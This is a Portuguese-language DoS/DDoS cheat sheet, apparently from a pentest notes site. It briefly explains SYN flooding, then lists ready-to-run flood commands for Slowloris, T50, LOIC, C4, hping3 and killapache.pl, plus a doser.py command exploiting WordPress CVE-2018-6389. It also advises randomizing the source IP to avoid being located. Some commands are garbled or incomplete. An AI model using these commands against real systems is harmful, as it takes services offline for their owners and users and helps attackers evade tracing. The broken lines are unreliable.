DoS / DDoS

Ataque do tipo DoS (Denial of Service) ocorre quando causa indisponibilidade em algum serviço, enviando uma quantidade alta de requisições inundando (flood) o servidor. Processos de loop infinito, ou falhas no serviço que também causam indisponibilidade, também são considerados DoS.

A diferença entre o DoS e o DDoS (Distributed Denial of Service), é que o DoS conta com um único host realizando o ataque, enquanto o DDoS conta com várias máquinas (geralmente zumbis de botnet) realizando o ataque e derrubando assim o servidor.

O processo acontece geralmente com o Three-way Handshake:

  • O cliente envia um pacote SYN (Synchronize) para o servidor

  • O servidor devolve um pacote SYN / ACK para o cliente

  • O cliente envia um ACK (Acknowledge) de volta ao servidor

No ataque DDoS, esse processo não é completado, pois ao receber o pacote SYN / ACK do servidor, o cliente (atacante) ignora esse pacote e começa novamente o processo enviando um SYN. Como esse processo é feito com diversas máquinas simultaneamente, o servidor não aguenta a quantidade de requisições e acaba se tornando indisponível.

NOTA: Um ataque é considerado com sucesso quanto o alvo tem indisponibilidade de dados (um dos pilares da segurança da informação). Isso pode ser feito não só como no exemplo acima, mas em qualquer falha que cause indisponibilidade, como em casos onde um código mal escrito entre em um looping infinito, por exemplo.

OBS.: Utilize o site www.isup.me, para ver se o site esta no ar.

Derrubando site

Slowloris

./slowloris --dns <ip> -p 80 --timeout 10 -num 5000 --cache

T50

# OBS.: Caso queira executar todos os protocolos sequencialmente, utilze "--protocol T50"
sudo t50 --flood -p tcp -- <ip>
sudo t50 --flood --dport <port> -- <ip>
sudo t50 <ip> --flood -S --turbo --dport <port>
sudo t50 <ip> --flood -S --protocol TCP --dport <port> --turbo
sudo t50 --flood --turbo <ip> --dport <port> -S --protocol TCP

DICA: Caso seja um ataque externo, deverá baixar uma versão diferente do T50 em wget http://downloads.sourceforge.net/project/t50/t50-5.4.0/t50-5.4.0.tar.gz, descompacte o arquivo, entre em t50-5.4.0/src e execute o comando sed -r -i "s/default:/default: break;/g" check.c.

LOIC

Para executar, digite:

./loic.sh run

OBS: Caso não tenha instalado, vá no diretório do LOIC e execute os seguintes comandos abaixo:

sudo apt-get install aptitude
sudo aptitiude git-core monodevelop
./loic.sh install
./loic.sh update

SYN Flood

C4

# -h host
# -p Porta ou range de portas [start,end] (Defaults to Random)
# -t Attack timeout (defaults to forever)
# -l % of box link to use (defaults to 100%)
./c4 -h <ip>

Hping3

Essa técnica não tem muito poder para inundar, mas dependendo da configuração do host alvo, pode derrubar

hping3 --flood --syn --rand-source <ip_alvo>

KillApache

perl killapache.pl <ip_alvo>

OBS.: Utilize --rand-source, caso queira que sua máquina utilize um IP randômico, para falsificar seu IP real e dificultar a sua localização.

WordPress

CVE-2018-6389

python doser.py -g 'http://sitewordpress.com.br/load-scripts.php?load=1&load%5B%5D=eutil,common,wp-areen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptas-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,ry-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drjquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jqeffects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,ry-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-formialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonrupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,weaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,cst-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,languaggs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customve-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custombe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tain-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-wnline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

Sites

https://github.com/Quitten/doser.py

Last updated